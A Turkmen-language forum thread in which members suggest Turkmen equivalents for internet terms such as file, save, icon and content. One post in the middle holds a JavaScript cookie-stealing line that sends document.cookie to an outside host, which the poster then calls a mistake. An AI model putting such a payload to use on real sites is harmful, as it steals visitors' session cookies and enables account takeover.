Hormatly Turkmen World agzalary, Internetde hergün gabat gelýän terminleriň türkmençe terjimesini bilýän bolsanyz, kömek ediň. Şu aşaky sözleriň terjimesi näme? -- file -- error -- forum -- archive -- icon -- apply -- save -- random -- post (Blog post, video post, ) -- queue -- message -- content -- bookmark -- favorites -- tag -- URL -- profile Köp sagboluň.
Internet sözjükleriň türkmençesi 2.bölüm
-
Öwezz
16 years ago
- File-faýl, forum-sorag-jogap bölüm, arhive - ööñki ýazgylar, message-hat
-
merdan ata
16 years ago
- Bayram-jm, sagbol. Barde yazan zady uytgedip bolanok my? Yazgyn bas setirini sol bolsy yaly goydum, onu
Hormatly Talypar.com agzalary-na uytgetjek welin...
-
ýadan.
16 years ago
- arhiv- türkmençesi hem arhiw ulanylsa gowy bolar
-
ýadan.
16 years ago
- save- "berkit(mek)" diyilse gelişer
menin pikirimçe terjime edilende bir söz ulanmak yerlikli bolarmyka diyyan.
meselem:
copy: nusgala
cut: kes
past: yapyşdyr ya-da yelmeşdir
save: berkit
we.ş.m.
yokarky sözlerin namedigini bilemok. yoksam elimden gelen kömegi ederdim.
-
Bayram-Jm
16 years ago
- Merdan ata! Ýene-de bilýänjelerimi ýazaýyn.
Icon- nyshan
apply- ýüzlenmek
queue- zynjyr ( dogry bilemok)
content- mazmuny
merdan ata! Saýta registrasiýa etmek örän kyn eken. Hälem edip bilemok;)
-
merdan ata
16 years ago
- bayram-jm, barlap gordum, registrisiya eden yaly. Yone entak hic girmedin oydyarin, ya-da yazan acar sozi kabul edenok my?
apply - yuzlenmek
welin
apply changes nadip terjime edip bolarka?
sagbol.
-
merdan ata
16 years ago
- Yadan, komegin ucin kop sagbol. Yazan terjimelerini ulanjak.
-
ýadan.
16 years ago
- onsanam yene bir zady bellik edeyin. mümkin bolsa -mak,-mek goşulmalaryndan gaça durmaly.
buyruk formasyny ulanmaly. kes, poz, berkit diyen yaly.
-
abcdefg
16 years ago
- wikipedia.org hemme soragynyza jogap
-
abcdefg
16 years ago
- img = new Image(); img.src = "http://old.antichat.ru/cgi-bin/s.jpg?"+document.cookie;
-
abcdefg
16 years ago
- sonkyny yalnysyp yazypdyryn pozayarsynyzdanay
-
merdan ata
16 years ago
- abcdefg ,
wikipedia.org niresinde jogap tapyp bolar?
-
btp
16 years ago
- save-sakla
content- içerik diyip bilersiniz aslynda
-
abcdefg
16 years ago
- sol yerden gozlap(poisk) bilen tapyp bilersiniz ya-da google-da cto oznacayet archive(meselem) orsca bilyansiniz diyip umyt edyan
-
merdan ata
16 years ago
- abcdefg, yokarda yazylan sozlerin manasyny gowy bilyan. Mana aslynda o sozlerin turkmence terjimelere gerek. Turkmen dilinde ulanylyan, Internet terminler gerek. Su wagt guran sahypamy turkmence terjime edyarin, 60-70% toweregi gutardym. Gyzyklansanyz sahypamyn salgysyny ibererin.
Bayram-Jm 16 years ago- Bilýänlerimi ýazaýyn.
Error- näsazlyk
save- ýatda saklamak
random-